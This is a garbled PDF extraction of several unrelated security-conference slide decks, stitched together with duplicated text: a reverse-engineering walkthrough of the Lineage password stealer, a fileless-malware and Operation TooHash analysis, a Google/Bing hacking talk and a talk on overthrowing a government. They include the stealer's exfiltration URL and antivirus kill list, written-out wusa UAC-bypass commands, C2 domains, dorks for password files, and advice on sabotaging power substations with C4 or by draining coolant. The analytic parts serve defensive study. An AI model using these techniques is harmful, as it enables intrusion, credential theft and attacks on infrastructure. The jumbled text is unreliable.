[ebp+var_1C] CODE:00404026 sub [eax], ebx CODE:00404028 lea edx, [ebp+Buffer] ; lpBuffer CODE:0040402E mov ecx, ebx ; nNumberOfBytesToWrite CODE:00404030 mov eax, [ebp+hObject] ; hFile CODE:00404033 call sub_403C38 CODE:00404038 test ebx, ebx CODE:0040403A jz short loc_404044 CODE:0040403C mov eax, [ebp+var_1C] CODE:0040403F cmp dword ptr [eax], 0 CODE:00404042 jnz short loc_404002 Open: 1.exe Open: 1.exe Dropping ttt.jpg Dropping ttt.jpg Dropping 1.exe Dropping 1.exe Open: ttt.jpg Open: ttt.jpg ttt.jpg 35 PWSteal.Lineage PWSteal.Lineage--Dynamic Analysis Dynamic Analysis--Stage 5 Stage 5 Step 4 Step 4: :Debugging Debugging ––Lineage_ Lineage_UnExt2.exe UnExt2.exe 0040433D |> /8B45 FC /mov eax, [ebp-4] 00404340 |. |8B55 F8 |mov edx, [ebp-8] 00404343 |. |8A5C10 FF |mov bl, [eax+edx-1] 00404347 |. |80C3 80 |add bl, 80 0040434A |. |8D45 F4 |lea eax, [ebp-C] 0040434D |. |8BD3 |mov edx, ebx 0040434F |. |E8 84EEFFFF |call 004031D8 00404354 |. |8B55 F4 |mov edx, [ebp-C] 00404357 |. |8BC7 |mov eax, edi 00404359 |. |E8 DAEEFFFF |call 00403238 0040435E |. |FF45 F8 |inc dword ptr [ebp-8] 00404361 |. |4E |dec esi 00404362 |.^\75 D9 \jnz short 0040433D 00404B5D |. 50 |push eax ; /ProcessId 00404B5E |. 6A FF |push -1 ; |Inheritable = TRUE 00404B60 |. 6A 01 |push 1 ; |Access = TERMINATE 00404B62 |. E8 6DEFFFFF |call <jmp.&kernel32.OpenProcess> 00404B67 |. 8BD8 |mov ebx, eax 00404B69 |. 85DB |test ebx, ebx 00404B6B |. 74 19 |je short 00404B86 00404B6D |. 6A 00 |push 0 ; /ExitCode = 0 00404B6F |. 53 |push ebx ; |hProcess 00404B70 |. E8 77EFFFFF |call <jmp.&kernel32.TerminateProcess> 00404B75 |. 83F8 01 |cmp eax, 1 00404B78 |. 1BC0 |sbb eax, eax 00404B7A |. 40 |inc eax 00404B7B |. 8845 FB |mov [ebp-5], al 00404B7E |. 53 |push ebx ; /hObject 00404B7F |. E8 60EEFFFF |call <jmp.&kernel32.CloseHandle> 00404C5E |. 50 push eax ; |Class 00404C5F |. E8 A8EEFFFF call <jmp.&user32.FindWindowA> 00404C64 |. 6A 00 push 0 ; /lParam = 0 00404C66 |. 6A 00 push 0 ; |wParam = 0 00404C68 |. 6A 10 push 10 ; |Message = WM_CLOSE 00404C6A |. 50 push eax ; |hWnd 00404C6B |. E8 ACEEFFFF call <jmp.&user32.SendMessageA> Decrypt Routine Decrypt Routine Enum Anti-Virus Enum Anti-Virus Close Prog Window Close Prog Window RavMonClass RavMon.exe EGHOST.EXE MAILMON.EXE KAVPFW.EXE IPARMOR.EXE Ravmond.EXE KVXP.KXP KVMonXP.KXP KRegEx.exe Decrypted Strings Decrypted Strings 江民殺毒 36 PWSteal.Lineage PWSteal.Lineage--Static Analysis Static Analysis--Stage 5(Count.) Stage 5(Count.) 00404260 . C645 DF 4D mov byte ptr [ebp-21], 4D 00404264 . 6A 00 push 0 ; /pOverlapped = NULL 00404266 . 8D45 E0 lea eax, [ebp-20] 00404269 . 50 push eax ; |pBytesWritten 0040426A . 6A 01 push 1 ; |nBytesToWrite = 1 0040426C . 8D45 DF lea eax, [ebp-21] 0040426F . 50 push eax ; |Buffer 00404270 . 53 push ebx ; |hFile 00404271 . E8 7EF8FFFF call <jmp.&kernel32.WriteFile> 00404276 . 6A 00 push 0 ; /pOverlapped = NULL 00404278 . 8D45 E0 lea eax, [ebp-20] 0040427B . 50 push eax ; |pBytesWritten 0040427C . 8B45 F8 mov eax, [ebp-8] 0040427F . 48 dec eax 00404280 . 50 push eax ; |nBytesToWrite 00404281 . 8B45 FC mov eax, [ebp-4] 00404284 . 40 inc eax ; |UnExt3.0040D1AC 00404285 . 50 push eax ; |Buffer 00404286 . 53 push ebx ; |hFile 00404287 . E8 68F8FFFF call <jmp.&kernel32.WriteFile> 0040428C . EB 14 jmp short 004042A2 0040428E > 6A 00 push 0 ; /pOverlapped = NULL 00404290 . 8D45 E0 lea eax, [ebp-20] 00404293 . 50 push eax ; |pBytesWritten 00404294 . 8B45 F8 mov eax, [ebp-8] 00404297 . 50 push eax ; |nBytesToWrite 00404298 . 8B45 FC mov eax, [ebp-4] 0040429B . 50 push eax ; |Buffer 0040429C . 53 push ebx ; |hFile 0040429D . E8 52F8FFFF call <jmp.&kernel32.WriteFile> 004042A2 > 53 push ebx ; /hObject 004042A3 . E8 3CF7FFFFcall <jmp.&kernel32.CloseHandle> Dropping PDLL.Dll Dropping PDLL.Dll 00405B36 . 50 push eax ; /FileName 00405B37 . E8 70DFFFFF call <jmp.&kernel32.LoadLibraryA> 00405B3C . 8BD8 mov ebx, eax 00405B3E 85DB test ebx, ebx 00405B40 . 0F84 A5010000 je 00405CEB 00405B46 . 8D95 C0F7FFFF lea edx, [ebp-840] 00405B4C . B8 48624000 mov eax, 00406248 00405B51 . E8 A2E7FFFF call 004042F8 00405B56 . 8B85 C0F7FFFF mov eax, [ebp-840] 00405B5C . E8 CFD8FFFF call 00403430 00405B61 . 50 push eax ; /ProcNameOrOrdinal 00405B62 . 53 push ebx ; |hModule 00405B63 . E8 1CDFFFFF call <jmp.&kernel32.GetProcAddres …………… 00405C41 . 50 push eax 00405C42 . FFD7 call edi // Call Export Function Loading PDLL.Dll 00405C58 > /8B06 mov eax, [esi] …… 00405C72 . |E8 9DDEFFFF call <jmp.&user32.PeekMessageA> ….. 00405C8B . |E8 94DEFFFF call <jmp.&user32.TranslateMessage> 00405C90 . |8D85 D3FBFFFF lea eax, [ebp-42D] 00405C96 . |50 push eax ; /pMsg 00405C97 . |E8 68DEFFFF call <jmp.&user32.DispatchMessageA> 00405C9C |68 E8030000 push 3E8 ; /Timeout = 1000. ms 00405CA1 . |E8 3EDEFFFF call <jmp.&kernel32.Sleep> 00405CA6 . |8B06 mov eax, [esi] 00405CA8 . |FF80 19110000 inc dword ptr [eax+1119] 00405CAE . |E8 65EFFFFF call 00404C18 //Kill Process Loop 00405CB3 . |EB A3 jmp short 00405C58 Kill Process Loop Kill Process Loop 37 PWSteal.Lineage PWSteal.Lineage--Static Analysis Static Analysis--Stage 6 Stage 6 Step 5 Step 5: :Decrypt Strings Decrypt Strings— —Lineage_ Lineage_UnExt2.exe UnExt2.exe Decryption Routine buffer[i] = (buffer[i]+0x80) & 0xFF ; Extract Strings and GoTo Setp 1 Step 1: String Analysis Step 1: String Analysis----Lineage_ Lineage_UnExt2.exe UnExt2.exe Strange Keyword: RegisterServiceProcess Mapfile URLDownloadToFileA (API) FileName: RavMon.exe、EGHOST.EXE、 MAILMON.EXE、KAVPFW.EXE、IPARMOR.EXE、 Ravmond.EXE、KVXP.KXP、KVMonXP.KXP、KRegEx.exe、PDLL.dll、Internat.exe、 svchost.exe、rundll32.exe、URLMON.DLL、wininit.ini Registry Key: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit URL: http://kaixin.w67a.chinanetidc.com/[email protected]&mailbody= E-Mail:[email protected] 38 PWSteal.Lineage PWSteal.Lineage--Static Analysis Static Analysis--Stage 6(Count.) Stage 6(Count.) Step 5 Step 5: :Decrypt Strings Decrypt Strings— —Lineage_ Lineage_Ext3.exe Ext3.exe Decryption Routine buffer[i] = (buffer[i]+0x80) & 0xFF ; Extract Strings and GoTo Setp 1 Step 1: String analysis Step 1: String analysis Strange Keyword: FileName:c:\gameab1.txt、c:\abc1.___、 IEXPLORE.EXE、 wsock32.dll Registry Key: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders Strange URL: http://gash.gamania.com/gash_loginform1.asp?Message= http://www.gamania.com/ghome/home_center.asp https://tw.goodlock.gamania.com/index.aspx https://gash.gamania.com/gash_depositpoint/depositpoint_card.asp https://tw.gash.gamania.com/GASHLogin.aspx https://tw.gash.gamania.com/GASHLogin.aspx? https://tw.gash.gamania.com/UpdateMainAccountPassword.aspx https://tw.gash.gamania.com/UpdateBasicInfo.aspx https://tw.gash.gamania.com/UpdateServiceAccountPassword.aspx Strange E-Mail:[email protected] tbMainAccountID tbPersonalID tbMainAccountPassword tbServiceAccountID tbOldPassword tbNewPassword lbServiceTitle X_tbPassword ddlDelayTime Internet Explorer_Server Lineage LiTo serverListWnd Windows Client IEFrame socket connect WSAStartup gethostname gethostbyname inet_ntoa WSACleanup inet_addr send htons closesocket recv 39 PWSteal.Lineage PWSteal.Lineage--Dynamic Analysis Dynamic Analysis--Stage 7 Stage 7 Step 6 Step 6: :Run & Monitoring (DEMO) Run & Monitoring (DEMO) svchost.exe svchost.exe 0 taskmgr.exe taskmgr.exe 0 Explorer.EXE Explorer.EXE 0 svchost.exe svchost.exe 0 taskmgr.exe taskmgr.exe 0 Explorer.EXE Explorer.EXE 0 https://tw.goodlock.gamania.com/index.aspx 5 6 U:ccc https://tw.goodlock.gamania.com/index.aspx 5 6 U:ccc https://tw.goodlock.gamania.com/index.aspx https://tw.goodlock.gamania.com/index.aspx Internet Explorer_Server Internet Explorer_Server https://tw.goodlock.gamania.com/index.aspx https://tw.goodlock.gamania.com/index.aspx 40 Conclusion Conclusion 網路上充斥著許多流氓網站,有些外表看起來相當的中規中矩,但葫 網路上充斥著許多流氓網站,有些外表看起來相當的中規中矩,但葫 蘆裡賣假藥,行釣魚之實 蘆裡賣假藥,行釣魚之實,使用者於網路上下載檔案 ,使用者於網路上下載檔案, ,一時不查,都 一時不查,都 有可能吃到魚鉤。 有可能吃到魚鉤。 目前間諜軟體流行檔案綑綁技術,一個檔案內不管是 目前間諜軟體流行檔案綑綁技術,一個檔案內不管是Office Office檔、圖片 檔、圖片 檔、影像檔等都有可能搭配精心設計的 檔、影像檔等都有可能搭配精心設計的ShellCode ShellCode與 與Spyware Spyware一同放置 一同放置 於一個檔案內,這時我們必須需學習些分析技術,萃取出相關檔案分 於一個檔案內,這時我們必須需學習些分析技術,萃取出相關檔案分 析,因為光靠防毒軟體阻擋是很非常薄弱的。 析,因為光靠防毒軟體阻擋是很非常薄弱的。 本次作者於會中提出一針對 本次作者於會中提出一針對Spyware Spyware的逆向方法 的逆向方法(6 Step) (6 Step),藉由這個 ,藉由這個 流程實際的分析了兩個流行的 流程實際的分析了兩個流行的Spyware Spyware,並根據所找尋出的線索來判 ,並根據所找尋出的線索來判 對該程式是否為惡意程式,藉以證明其適用性。希望能夠讓與會的朋 對該程式是否為惡意程式,藉以證明其適用性。希望能夠讓與會的朋 友更了解目前 友更了解目前Spyware Spyware的手法及方式,以及提供各位一些自行分析的 的手法及方式,以及提供各位一些自行分析的 方式。 方式。 41 Thank You Thank You
pdf
How to overthrow a Government Chris Rock [email protected] Cyber Mercenaries #2 ? US National Intelligence Director James Clapper says in 2016 Cyber Espionage came second to ISIS as the biggest world threats. 1. ISIS 2. Cyber Espionage 3. North Korea Hackers previously held the crown in 2013, 2014 and 2015. Occupier Occupied Country New Terrorist Org England Ireland IRA Soviet Union Afghanistan Taliban Israel Lebanon Hezbollah America Saudi Arabia Al Qaeda – Bin Laden America Iraq ISIS Occupier + Occupied Country = Terrorist So why did we come 2nd Mercenary COUP Structure The Boss Special Interest Groups Why use Mercenaries Clandestine Covert Arms length, harder to be tied directly to another Country or Company Loyalty As long as you pay they are there to stay $$$$ Not a War No coffins with American flags on TV eroding public support. Its not a war, it’s a conflict. Say 1 thing Do another Official Public Policy = X Use Mercenaries for strategic Policy = Y Dogs of War Benefits vs Military Cyber War is for Fictional Writers. Cyber Conflicts run by mercenaries provides political arms length Mercenary Coup, Anti Coup Companies & Proxies Regime Change Options Revolution REVOLUTION - A large group fighting or protesting for social, political or economic change United States 1775 Egypt 2011 Ukraine 2014 Coup COUP d'état - The sudden overthrow of an existing government by a small group. “Putsch” Invade Coup Revolution Low Intensity Operations Regime Change Order of Ops Iraq: Failed Coup 1996 Saddam Panama: 5 Failed Coups against General Noriega 1989 Coup Prevention - Private Army Colonel Gadhafi Libya Mercenaries & Revolutionary Guards 3000+ Saudi Royal Family and National Guard (White Army) 25,000+ Coup Prevention - Faux President: Teodoro Obiang Nguema Mbasogo Coup Prevention Spy Vs Spy Intelligence ODNI – Office of the Director of National Intel NGA – National Geospatial Intelligence Agency CIA – Central Intelligence Agency NRO – National Reconnaissance Office NSA – National Security Agency US Cyber Command OICI – Office of Intelligence and Counter Intel ISR – U.S Air Force Intelligence, Surveillance and Recon Homeland Security Investigations (and others) INSCOM – US Army Intelligence Center (NGIC) INR – Bureau of Intelligence and Research NGIC - National Ground Intelligence Center Office of Terrorism and Financial Intel MCIA – US Marine Corp Intelligence Activity DIA – Defense Intelligence Agency ONI – US Navy Department Office of Naval Intelligence Military Intelligence Service Airforce Intelligence Service General Security Directorate Political Security Directorate SPY VS SPY CYBER Revolution - Kuwait – 2011 Clandestine “until now” Operation Nanny Goat Kuwait Family Tree or Government? - 2011 Prime Minister Nasser Mohammed Al-Ahmed Al-Sabah Foreign Affairs Sabah Al-Khalid Al- Sabah Defense Khaled Al Jarrah Al- Sabah Interior Mohammad Khalid Al Hamad Al-Sabah Cabinet Affairs Mohammad Abdullah Al- Mubarak Al-Sabah EMIR Sabah Al-Ahmad Al- Jaber Al-Sabah Crown Prince Sheikh Nawaf Al- Ahmad Al-Jaber Al-Sabah When I grow up I will be in Parliament Regime Change Targets Overthrow Options Election Email Scandal Corruption Tax Avoidance Bribery Scandal Sex/Lies Criminal Allegations Terrorism Support Opposing religion Or Rig the Electronic Voting Coup D'état White = U.S Military Bases Green = Kuwait Army Purple = Airforce National Guard = 7000 soldiers protecting Royal Family and coup uprisings Revolution Timing with Arab Spring “noise” Edward Luttwak: Coup D’ETAT Cyber Mercenary Structure What Tools and Techniques do we use Tools Nmap Wireshark Burp OllyDB / Ida Pro SQLMAP Metasploit SET/ BeEF Techniques Meaning Tools Pro Agitation Professional Agitators Paid Thugs People False Documentation Discredit, imply, impeach, raise doubts, corruption Hackers Causus belli / False Flagging An event to justify war or a coup (Latin for war justification) Hackers Maskorovka Russian Military Deception False Alarms Hackers Misinformation, Misinformation Propagation of false media, forums, locally and internationally, Own the news Hackers High Rolling Steal money, plant money, fund the exercise, cripple the banks, stock markets Hackers IOS – (Internet of Shit) Infrastructure ownership: Water, Oil, Gas, Transport, Power, Internet, Airport Hackers People Power Use the Power of the people to disrupt where they work, implants, shutdowns People Standard Spying Intelligence Booz Allen Hamilton Kroll Aegis Stratfor Private Intelligence Agencies Although well-liked on a personal level, Sheik Nasser Al-Sabah is perceived as a politically incompetent, protocol wonk whose record is tarnished by his failure to construct and effectively manage his cabinet. Or just Hack it Amateur Spies $$$ News Social Media People Implants Hackers penetrate Democratic National Committee database on Trump research – June 2016 Other Intelligence Sources Architects “Soup du jour” Anonymous has targeted a number of official Nigerian government websites to weed out corruption and tackle poverty in the country by referencing allegations of stolen oil money. Jan 2016 Nigeria’s largest export is ? ----- Corruption Banking Sector The best bit was when they gave me my money Financing & Looting Banks 1 2 3 4 5 Funding the Exercise Depositing Fake Corruption Payments Terrorism payments “implicate someone” False Flagging Break the banks : Bangladeshi Style An unpublished report from Booz Allen Hamilton “makes the case this is Filipino-Chinese businessmen collecting money to overthrow the government of the Philippines” in relation to recent bank hacks Kuwait Banks Terrorism "It is long past time for the Saudis, Qataris and Kuwaitis and others to stop their citizens from funding extremist organizations,“ Hilary Clinton June 2016 Central Bank of Kuwait Stocks and Finance Siphon the Till Government money Owning the Government 1 2 3 4 5 Government Money Central Bank Government Communications Government Agencies & Armed Forces Energy Infrastructure Walk like an Egyptian NO Bribes Public Banking including Politicians accounts Power and Resource Sector You don’t need PLC SCADA skills, operators use VNC to connect to Monitoring Stations to turn shit on and off. Thank you Global Warming High voltage (HV) transformer units make up less than 3% of transformers in U.S. power substations, but they carry 60%-70% of the nation’s electricity Energy Sector Power Substation if hacking fails Oil Coolant ignites at 280 degree Fahrenheit or 140 Celsius Transformer, no coolant No power Shot, Drilled or Angle Grinded to drain or use C4. Teleco’s – I’m hot for telco’s People Power Agitators Protests, Fake Protests & Fake, Fake Protests Leak Information Implants Corporate Agents Misinformation TIP: PWN a few media outlets let the other’s copy the news Order of Best Sources Eyewitness Named Source Un-Named Source Types of sources Other News articles Digital Media – LinkedIn, Twitter, Facebook, blogs Company/Gov Officials Media Manipulation The Two Source Rule Fake Linkedin/Twitter/Facebook Page Website with Planted Fake Bank Bio Faked Bank Contact on Bank website Banks Statements from Sender Bank Bank Statement from Receiver Bank Fake Government Official supporter Know your Left from your Right LEFT- Democrats RIGHT- Republicans Washington Post CNN Wall Street Journal CBS ABC New York Times LA Times Fox News Washington Times Drudge Report Media & GOV Misinformation Time Magazine 2011 “Kuwait’s Central Bank reported that unnamed government officials had transferred millions of dollars to accounts out of the country” 2016 – Kuwait Times “Leading US investigation and intelligence services firm Kroll had found that claims made by former opposition MPs about huge money transfers were “baseless”. “The report got letters from banks saying that they had never had any dealings with the former premier or his son, quashing claims by the former opposition politicians” Whose the bigger IDIOT PLAN FOR MEDIA BANS & INTERENT KILL SWITCHES TO PROTECT THE COUNTRY Media Outlets (100+) 1. News Amsterdam 2. The Examiner 3. Christian Post 4. Al-Haqiqa 5. Charis Times 6. Jihad Watch Design, Visualize cause and effect It’s…..SHOW TIME thinkBIGGER Cross domain Skill-up outside into other disciplines away from hacking – then bring them together
pdf
© 2016 Verint systems inc. All rights reserved worldwide 9 • Invisible Attacks • VPN, AD, PtH, PtT • Invisible Network Traffic • Google Drive, Dropbox • Invisible Malware • Task schedule, Wmi , Powershell Low visibility of Cyber Threats © 2016 Verint systems inc. All rights reserved worldwide 10 • As seen from the script or fileless malware, they begin to increase dramatically. And the PowerShell can be embedded in a macro and then into a document file in various forms. • The leverage of PowerShell or wmi which both built-in in windows system are often used in post-exploitation activities so the fileless threats will be more and more. Fileless malware attacks © 2016 Verint systems inc. All rights reserved worldwide 11 • The following elegant PowerShell can achieve three things in one line: • Detect the architecture (check against the size of the IntPtr object type: x86 or x64bit). • Download binary from website. • Directly run the binary on the fly (use iex command). • Invoke-Expression(iex), Runs commands or expressions on the local computer. You can install the back door just in one PS line • The malicious program is Self-Signed. But hacker added it to the trusted root chain. So the victim will always verify this as valid signature. 12 Import Self-Signed Certificate to Bypass Sign Check • TMPolicy (2) .dll is pretending to be msisip.dll • F:\MyProject\msisip\Release\NvSmartMax.pdb • DLL entry points, and all exported APIs only do one thing • WinExec ("tmpolicy.dll", 0) • TMPolicy (1) .dll The original name is tmpolicy.dll • Actually TMPolicy (1) .dll is a PE file(tmpolicy.dll). Sample_NICT.rar Overview 15 TMPolicy Sample Overview • The malware will determine whether it’s in the 32-bit or 64-bit windows version and generate the different payload with dll to bypass the security check. • In Windows XP will drop srvlic.dll + fake file • In Windows 7 will drop msTracer.dll + fake file • Fake file is actually a real backdoor module and is usually dropped to : • C:\Documents and Settings\All Users\Application Data\Windows CE\ directory. • C2 Connections : • help.adobeservice.net:80;help.adobeservice.net:8080; • assist.adobeservice.net:443;assist.adobeservice.net:1863; 16 Running on x86 Windows XP • How C:\WINDOWS\system32\srvlic.dll be executed? 17 Running on x86 Windows XP • One of svchost.exe will load srvsvc.dll, and srvsvc.dll tries to load srvlic.dll when LoadLicensingLibrary () is called • C:\Windows\system32\srvlic.dll (Actually, this file does not exist in the system) • The fake srvlic.dll will be loaded by DLL side-loading / path hijacking tricks. • When srvlic.dll is loaded, it will try to read the file "fake" and decrypt as a module file. • The decrypted fake file will be copied to a new memory block, so the srvlic.dll can not be observed by the process explorer. 18 Dll file has been mapped to memory blocks 19 Dll file has been mapped to memory blocks 20 Running on x64 Windows 7(1/2) • Run TMPolicy.exe 1. Drop C:\ProgramData\temp0 file and move to C:\Users\<USERNAME>\AppData\Local\Temp\msTracer.dll 2. Move C:\Users\<USERNAME>\AppData\Local\Temp\msTracer.dll file to C:\Windows\system32 (theoretically can not be moved to this path, restricted by UAC) 3. When msTracer.dll is loaded, it will try to read the file "fake" and decrypt as a module file C:\ProgramData\Windows CE\fake 4. Create a batch file to eliminate all files 21 Running on x64 Windows 7(2/2) • SearchIndexer.exe is a Windows Service (WSearch), and it will try to load msfte.dll when loadTracerDLL is called, and if it fails, it will to try to load msTracer.dll. • SearchProtocolHost.exe also has the same vulnerability(Dll Side-loading). • When msTracer.dll is loaded, it will try to read the file "fake" and decrypt as a module file. 22 Bypass UAC on Windows 7(1/3) • But TMPolicy.exe can not move msTracer.dll to system32 because it is protected by UAC. • So, how to place files in system protected areas without triggering UAC? 23 https://github.com/hfiref0x/UACME Bypass UAC on Windows 7(2/3) • Bypass the UAC restrictions • makecab.exe /V1 "C:\Users\<USERNAME>\AppData\Local\Temp\msTracer.dll" "C:\Users\<USERNAME>\AppData\Local\Temp\msTracer.dll.msu“ • wusa.exe /quiet "C:\Users\<USERNAME>\AppData\Local\Temp\\msTracer.dll.msu" /extract:C:\Windows\system32 24 Bypass UAC on Windows 7(3/3) • wusa.exe : Windows Update Standalone Installer • Wusa method, tweaked to work from Windows 7 up to 10th1 10136 25 Encryption/Decryption of fake(1/4) • Each running of TMPolicy.exe will generate different fake files, but after decryption , the contents are all the same. • Fake file content = 4Byte Secret Key + Encrypted Content • Secretkey is generated by rand () function. 26 Encryption/Decryption of fake(2/4) • Secret Key: First 4 Byte • Cipher = ENCRYPT(Plain, Secret_Key) • Plain = DECRYPT(Cipher, Secret_Key) • Reduced Sequence: 128 Bytes table 27 reduced_sequece = [ 0x03, 0x05, 0x06, 0x07, 0x0A, 0x0C, 0x0E, 0x13, 0x14, 0x18, 0x1B, 0x1C, 0x21, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2B, 0x2D, 0x2F, 0x30, 0x33, 0x35, 0x36, 0x37, 0x38, 0x3F, 0x41, 0x42, 0x45, 0x47, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x50, 0x52, 0x53, 0x55, 0x56, 0x57, 0x5A, 0x5B, 0x5D, 0x5E, 0x60, 0x61, 0x65, 0x66, 0x67, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x70, 0x73, 0x77, 0x7D, 0x7E, 0x7F, 0x82, 0x83, 0x84, 0x8A, 0x8E, 0x91, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x9A, 0x9B, 0x9C, 0xA0, 0xA1, 0xA3, 0xA4, 0xA6, 0xA7, 0xAA, 0xAB, 0xAC, 0xAE, 0xAF, 0xB1, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xBA, 0xBC, 0xBF, 0xC0, 0xC2, 0xC9, 0xCA, 0xCB, 0xCC, 0xCE, 0xD1, 0xD2, 0xD4, 0xD6, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xE0, 0xE5, 0xE6, 0xE9, 0xED, 0xEE, 0xF3, 0xF5, 0xF7, 0xFA, 0xFB, 0xFC, 0xFE, ] Encryption/Decryption of fake(3/4) 1. Calculate Chosen Sequence: 4 Bytes • chosen_sequence[ i ] = reduced_sequece[ secret_key[ i ] % 128] 2. Build First Secret Map: 256 Bytes • first_secret_map = [ 0, 1, 2, ... , 255 ] 3. Choice chosen_sequence[ 0 ] ~ chosen_sequence[ 4 ] • first_secret_map rearranged four times with chosen_sequence[0-4] • Build Second Secret Map: 256 Bytes • second_secret_map[ first_secret_map[ i ] ] = i 28 Encryption/Decryption of fake(4/4) • Encryption(substitution ), through the second_secret_map • encrypted_data [ i ] = second_secret_map[ original_data[ i ] ] • Decryption(substitution ), through the reversed_second_secret_map • reversed_second_secret_map[ second_secret_map[ i ] ] = i decrypted_data[ i ] = reversed_second_secret_map[ encrypted_data[ i ] ] 29 © 2016 Verint systems inc. All rights reserved worldwide 34 • 03/11/2014 G DATA SecurityLabs have discovered a spyware campaign. Operation TooHash is a targeted cyber attack on companies and organizations. The aim of the attack is to steal sensitive information from the targeted companies. Using a "spear-phishing" approach” • 2013~ 2014-01-06 • 8d263d5dae035e3d97047171e1cbf841 (102年尾牙、103年春酒精緻菜單.xls) • 7251073c67db6421049ee2baf4f31b62 (李辉简历.doc) • 2ec306ef507402037e9c1eeb81276152 (文件列表.xls) • 6b83319cf336179f2105999fe586242c (Wo.doc) • C2: • *.cnnic-micro.com , *.adobeservice.net, *.intarnetservice.com.,etc Operation TooHash (H2) © 2016 Verint systems inc. All rights reserved worldwide 35 • Hash Values • 650C58E995A471FA4BE6C49A32F7899B • 4DBD68D3741D46170D2585AAE4336B80 • IP Address • Domain Names • help.adobeservice.net • help.adobeservice.net • Network/Host Artifacts • En/Decode Algorithm, Strings • Connection Protocol, User-agent • Tools • TMPolicy.exe • TTPs • Spearphishing email • UAC bypass, wusa.exe • Deploy through Anti-Virus • Dll-Slde loading Indicator of New OperationTooHash © 2016 Verint systems inc. All rights reserved worldwide 41 Machine-readable threat intelligence Not able to generate IOCs able to generate IOCs Closed threat intelligence (organization) Automated & Orchestrated Cyber Intelligence 47 Comprehensive = Active + Passive Monitoring Multiple Dimensions= Network + EndPoint forensics + Files Analysis Automated Analysis= Intelligence-Oriented Analysis+ Machine Learning Visualization = Unified Investigation Platform
pdf
d f h Lord of the Bing Taking Back Search Engine Hacking From Google and Bing Taking Back Search Engine Hacking From Google and Bing 30 July 2010 Presented by: Presented by: Francis Brown and Rob Ragan Stach & Liu, LLC www.stachliu.com A d Agenda O V E R V I E W • Introduction • Advanced Attacks • Google/Bing Hacking Google/Bing Hacking • Other OSINT Attack Techniques • Advanced Defenses • Advanced Defenses • Future Directions 2 G l Goals D E S I R E D O U T C O M E • To understand Google Hacking • Attacks and defenses • Advanced tools and techniques • To think differently about exposures caused by publicly available sources • To blow your mind! 3 Introduction/ B k d Background G E T T I N G U P T O S P E E D 4 O S I t lli Open Source Intelligence S E A R C H I N G P U B L I C S O U R C E S OSINT – is a form of intelligence OSINT is a form of intelligence collection management that involves finding, selecting, and acquiring i f ti f bli l il bl information from publicly available sources and analyzing it to produce actionable intelligence. 5 Q i k Hi t Quick History G O O G L E H A C K I N G R E C A P Dates Event 2004 Google Hacking Database  (GHDB) begins g g ( ) g May 2004 Foundstone SiteDigger v1 released 2005 Google Hacking v1 released by Johnny Long J 2005 F d t Sit Di 2 l d Jan. 2005 Foundstone SiteDigger v2 released Feb. 13, 2005 Google Hack Honeypot first release Jan. 10, 2005 MSNPawn v1.0 released Dec. 5, 2006 Google stops issuing Google SOAP API keys … … 6 Q i k Hi t Quick History G O O G L E H A C K I N G R E C A P Dates Event Mar. 2007 Bing disables inurl: link: and linkdomain: g Nov. 2, 2007 Google Hacking v2 released Mar. 2008 cDc Goolag ‐ gui tool released J 3 2009 Bi li June 3, 2009 Bing goes online Sept. 7, 2009 Google shuts down SOAP Search API Nov. 2009 Binging tool released Dec. 1, 2009 FoundStone SiteDigger v 3.0 released 2010 Googlag.org disappears 7 Th A Threat Areas W H A T Y O U S H O U L D K N O W 8 G l /Bi H ki Google/Bing Hacking S E A R C H E N G I N E A T T A C K S • Our favorites are Google and Bing • Crawl and Index • Crawl and Index • Cache and RSS are forever • Query modifiers • site:target.com • related:target.com • filetype:xls yp • ip:69.63.184.142 9 Att k T t Attack Targets G O O G L E H A C K I N G D A T A B A S E • Advisories and Vulnerabilities (215) • Error Messages (58) • Pages containing network or vulnerability data (59) Error Messages (58) • Files containing juicy info (230) • Files containing passwords (135) • Files containing usernames (15) y • Sensitive Directories (61) • Sensitive Online Shopping Info (9) • Various Online Devices (201) • Files containing usernames (15) • Footholds (21) • Pages containing login portals (232) Various Online Devices (201) • Vulnerable Files (57) • Vulnerable Servers (48) • Web Server Detection (72) • Web Server Detection (72) 10 Att k T t Attack Targets G O O G L E H A C K I N G D A T A B A S E Examples E M Error Messages • filetype:asp + "[ODBC SQL“ • "Warning: mysql_query()" "invalid query“ Files containing passwords • inurl:passlist.txt 11 G l H ki T lkit Google Hacking Toolkit S T A T E O F T H E A R T • SiteDigger v3.0 • Uses Google AJAX API Uses Google AJAX API • Not blocked by Google • But restricted to 64 results/query Bi i • Binging • Uses Microsoft Bing search engine • Limited domain/ip profiling utils • Gooscan, Goolag • Work still, but get blocked by Google bot detection • Download sites no longer around 12 Download sites no longer around G l H ki T lkit Google Hacking Toolkit F O U N D S T O N E S I T E D I G G E R 13 G l H ki T lkit Google Hacking Toolkit B I N G I N G 14 DEMO N E W G O O G L E H A C K I N G T O O L S DEMO 15 N T lkit New Toolkit S T A C H & L I U T O O L S GoogleDiggity • Uses Google AJAX API Uses Google AJAX API • Not blocked by Google bot detection • Can Leverage BingDiggity • Company/Webapp Profiling E URL IP l h • Enumerate: URLs, IP-to-virtual hosts, etc. • Bing Hacking Database (BHDB) • Regexs in Bing format 16 N T lkit New Toolkit G O O G L E D I G G I T Y 17 N T lkit New Toolkit B I N G D I G G I T Y 18 D f Defenses G O O G L E / B I N G H A C K I N G D E F E N S E S / • “Google Hack yourself” organization • Employ tools and techniques used by hackers p y q y • Policy and Legal Restrictions • Regularly update your robots txt • Regularly update your robots.txt • Data Loss Prevention/Extrusion Prevention Systems • Free Tools: OpenDLP, Senf • Social Sentry • Service to monitor employee FaceBook and Twitter for $2-$8 per employee (MySpace, YouTube, and LinkedIn support by summer) 19 y p pp y G l A E l i Google Apps Explosion S O M A N Y A P P L I C A T I O N S T O A B U S E 20 G l Ph B k Google PhoneBook S P E A R P H I S H I N G 21 G l C d S h Google Code Search V U L N S I N O P E N S O U R C E C O D E • Regex search for vulnerabilities in public code • Example: SQL Injection in ASP querystring Example: SQL Injection in ASP querystring • select.*from.*request\.QUERYSTRING 22 DEMO G O O G L E C O D E S E A R C H H A C K I N G DEMO 